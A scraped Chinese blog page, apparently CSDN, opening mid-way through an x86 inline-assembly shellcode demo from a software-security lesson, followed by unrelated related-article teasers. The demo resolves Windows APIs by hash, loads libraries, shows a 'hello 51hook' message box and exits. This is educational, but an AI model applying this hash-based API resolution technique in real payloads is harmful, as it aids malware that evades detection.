ecx, [ecx + 0xB]//字符串hello 51hook偏移push ecxpush 0call[ebp - 0x14]//MessageBoxA//通过loadLibraryA 获取kernel32.dll的基址 确保万无一失mov ecx, [ebp + 0x8]lea ecx, [ecx + 0x18]push ecxcall[ebp - 0x8]//调用loadlibraya获取 user32.dllmov[ebp - 0x18], eax//kener32.dllbase//退出程序0x4FD18963push 0x4FD18963//ExitProcess 哈希值push[ebp - 0x18]call fun_GetProcAddr//获取ExitProcess的函数地址mov[ebp - 0x2c], eaxpush 0call[ebp - 0x2c]//调用 ExitProcesspop ecxpop ebxpop edxpop edipop esimov esp, ebppop ebpretn 0x4}
}
int main()
{printf("hello 51hook");shellCode();return 0;
}
相关文章:

软件安全(二)优化shellcode
我们在上一节课中所写的shellcode,其中使用到的相关的API是通过写入其内存地址来实现调用。这种方法具有局限性,如切换其他的操作系统API的内存地址就会发生变化,从而无法正常调用。 所谓的shellcode不过是在目标程序中加一个区段使得程序可…...

RabbitMQ-运维
文章目录 前言运维-集群介绍多机多节点单机多节点 多机多节点下载配置hosts⽂件配置Erlang Cookie启动节点构建集群查看集群状态 单机多节点安装启动两个节点再启动两个节点验证RabbitMQ启动成功搭建集群把rabbit2, rabbit3添加到集群 宕机演示仲裁队列介绍raft算法协议 raft基…...

深度学习基础--目标检测常见算法简介(R-CNN、Fast R-CNN、Faster R-CNN、Mask R-CNN、SSD、YOLO)
博主简介:努力学习的22级本科生一枚 🌟;探索AI算法,C,go语言的世界;在迷茫中寻找光芒🌸 博客主页:羊小猪~~-CSDN博客 内容简介:常见目标检测算法简介…...
【Python 元组】
Python 中的元组(Tuple)是一种不可变的有序数据集合,用于存储多个元素的序列。与列表(List)类似,但元组一旦创建后无法修改,这种特性使其在特定场景下具有独特优势。 一、核心特性 不可变性&am…...

LINUX CFS算法解析
文章目录 1. Linux调度器的发展历程2. CFS设计思想3. CFS核心数据结构3.1 调度实体(sched_entity)3.2 CFS运行队列(cfs_rq)3.3 任务结构体中的调度相关字段 4. 优先级与权重4.1 优先级范围4.2 权重映射表 (prio_to_weight[])优先级计算4.3.1. static_prio (静态优先级)4.3.2. n…...
智能指针笔记
智能指针,利用class类对象销毁的时候自动调用析构函数,去把delete ptr的操作放在析构函数里,去实现自动释放指针里的资源 RAII是ResourceAcquisition Is Initialization的缩写,他是⼀种管理资源的类的设计思想,本质是 …...

软考-软件设计师中级备考 14、刷题 算法
一、考点归纳 1)排序 2、查找 3、复杂度 4、经典问题 0 - 1 背包动态规划0 - 1 背包问题具有最优子结构性质和重叠子问题性质。通过动态规划可以利用一个二维数组来记录子问题的解,避免重复计算,从而高效地求解出背包能装下的最大价值。分…...
Vue3 中 ref 与 reactive 的区别及底层原理详解
一、核心区别 1. 数据类型与使用场景 • ref 可定义基本类型(字符串、数字、布尔值)和对象类型的响应式数据。对于对象类型,ref 内部会自动调用 reactive 将其转换为响应式对象。 语法特点:需通过 .value 访问或修改数据&#…...
豆包:基于多模态交互的智能心理咨询机器人系统设计与效果评估——情感计算框架下的对话机制创新
豆包:基于多模态交互的智能心理咨询机器人系统设计与效果评估——情感计算框架下的对话机制创新 摘要 随着人工智能在心理健康领域的应用深化,本文提出一种融合情感计算与动态对话管理的智能心理咨询机器人系统架构。通过构建“用户状态-情感响应-策略生成”三层模型,结合…...

Baklib实战企业内容与中台管理差异解析
企业内容管理中台本质差异 企业内容管理系统(CMS)与内容中台的核心差异在于战略定位与技术路径的本质性区隔。传统CMS聚焦于内容存储与审批流程的线性管理,而内容中台则构建起全域数据服务中枢,通过API接口实现跨系统内容资产调用…...

通用外设驱动模型(四步法)
举例:GPIO配置步骤 1、使能时钟 __HAL_RCC_GPIOx_CLK_ENABLE()2、设置工作模式 HAL_GPIO_Init()3、设置输出状态(可选) HAL_GPIO_WritePin() HAL_GPIO_TogglePin()4、读取输入状态(可选) HAL_GPIO_ReadPin()模块…...

IoT无线组网模块,万物互联的底层通信基石
随着物联网(IoT)技术在“快车道”上持续飞驰,一场“交互革命”正在人们的日常出行与工作学习等生活场景中加速爆发。从智能家居到智慧城市,从智慧交通到工业自动化,物联网(IoT)技术凭借着万物互…...
Xterminal(或 X Terminal)通常指一类现代化的终端工具 工具介绍
Xterminal(或 X Terminal)通常指一类现代化的终端工具,旨在为开发者、运维人员提供更高效、更智能的命令行操作体验。 📢提示:文章排版原因,资源链接地址放在文章结尾👇👇ÿ…...
OpenCV 中用于支持 华为昇腾(Ascend)AI 芯片后端 的模块CANN
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 cannops 是 OpenCV 中用于支持 华为昇腾(Ascend)AI 芯片后端 的模块,全称为 CANN Operations (CANN Operator…...

learning ray之ray强化学习/超参调优和数据处理
之前我们掌握了Ray Core的基本编程,我们已经学会了如何使用Ray API。现在,让我们将这些知识应用到一个更实际的场景中——构建一个强化学习项目,并且利用Ray来加速它。 我们的目标是,通过Ray的任务和Actor,将一个简单…...

【Linux】深入拆解Ext文件系统:从磁盘物理结构到Linux文件管理
目录 1、理解硬件 (1)磁盘 (2)磁盘的物理结构 (3)磁盘的存储结构 (4)磁盘的逻辑结构 (5)CHS && LBA地址 2、引入文件系统 (1&…...

基于 Ubuntu 24.04 部署 WebDAV
无域名,HTTP 1. 简介 WebDAV(Web Distributed Authoring and Versioning)是一种基于 HTTP 的协议,允许用户通过网络直接编辑和管理服务器上的文件。本教程介绍如何在 Ubuntu 24.04 上使用 Apache2 搭建 WebDAV 服务,无…...
人工智能基础知识笔记八:数据预处理
1、简介 在进行数据分析之前,数据预处理是一个至关重要的步骤。它包括了数据清洗、转换和特征工程等过程,以确保数据的质量并提高模型的性能。数据预处理是机器学习和数据分析中至关重要的步骤,其中分类变量的编码是核心任务之一。本文…...

tauri-plugin-store 这个插件将数据存在本地电脑哪个位置
tauri-plugin-store 插件用于在 Tauri 应用中以键值对形式持久化存储数据。它将数据存储在用户本地电脑的一个 JSON 文件中,具体路径取决于操作系统,并且通常位于操作系统的应用数据目录中。 默认存储位置 以默认配置为例(使用 default sto…...

一场陟遐自迩的 SwiftUI + CoreData 性能优化之旅(下)
概述 自从 SwiftUI 诞生那天起,我们秃头码农们就仿佛打开了一个全新的撸码世界,再辅以 CoreData 框架的鼎力相助,打造一款持久存储支持的 App 就像探囊取物般的 Easy。 话虽如此,不过 CoreData 虽好,稍不留神也可能会…...

数字人驱动/动画方向最新顶会期刊论文收集整理 | AAAI 2025
会议官方论文列表:https://ojs.aaai.org/index.php/AAAI/issue/view/624 以下论文部分会开源代码,若开源,会在论文原文的摘要下方给出链接。 语音驱动头部动画/其他 EchoMimic: Lifelike Audio-Driven Portrait Animations through Editabl…...
Java+Selenium+快代理实现高效爬虫
目录 一、前言二、Selenium简介三、环境准备四、代码实现4.1 创建WebDriver工厂类4.2 创建爬虫主类4.3 配置代理的注意事项 六、总结与展望 一、前言 在Web爬虫技术中,Selenium作为一款强大的浏览器自动化工具,能够模拟真实用户操作,有效应对…...

数据结构 集合类与复杂度
文章目录 📕1. 集合类📕2. 时间复杂度✏️2.1 时间复杂度✏️2.2 大O渐进表示法✏️2.3 常见的时间复杂度量级✏️2.4 常见时间复杂度计算举例 📕3. 空间复杂度 📕1. 集合类 Java 集合框架(Java Collection Framework…...

Python学习笔记--Django的安装和简单使用(一)
一.简介 Django 是一个用于构建 Web 应用程序的高级 Python Web 框架。Django 提供了一套强大的工具和约定,使得开发者能够快速构建功能齐全且易于维护的网站。Django 遵守 BSD 版权,初次发布于 2005 年 7 月, 并于 2008 年 9 月发布了第一个正式版本 1…...

SecureCRT网络穿透/代理
场景 公司的办公VPN软件只有Windows系统版本,没有Macos系统版本,而日常开发过程中需要先登录VPN后,然后才能登录应用服务器。 目的:Macos系统在使用SecureCRT时,登录服务器,需要走Parallels Desktop进行网络…...

视频添加字幕脚本分享
脚本简介 这是一个给视频添加字幕的脚本,可以方便的在指定的位置给视频添加不同大小、字体、颜色的文本字幕,添加方式可以直接修改脚本中的文本信息,或者可以提前编辑好.srt字幕文件。脚本执行环境:windowsmingwffmpeg。本方法仅…...

OrangePi Zero 3学习笔记(Android篇)4 - eudev编译(获取libudev.so)
目录 1. Ubuntu中编译 2. NDK环境配置 3. 编译 4. 安装 这部分主要是为了得到libudev(因为原来的libudev已经不更新了),eudev的下载地址如下: https://github.com/gentoo/eudev 相应的代码最好是在Ubuntu中先编译通过&#…...
JavaSE核心知识点02面向对象编程02-04(包和导入)
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 JavaSE核心知识点02面向对象编程02-04&#…...
【Git】查看tag
文章目录 1. 查看当前提交是否有tag2. 查看最近的tag3. 查看所有tag 有时候需要基于某个tag拉分支,记录下怎么查看tag。 1. 查看当前提交是否有tag git tag --points-at HEAD该命令可直接检查当前提交(HEAD)是否关联了任何tag。 若当前提交…...

华为昇腾910B通过vllm部署InternVL3-8B教程
前言 本文主要借鉴:VLLM部署deepseek,结合自身进行整理 下载模型 from modelscope import snapshot_download model_dir snapshot_download(OpenGVLab/InternVL3-8B, local_dir"xxx/OpenGVLab/InternVL2_5-1B")环境配置 auto-dl上选择单卡…...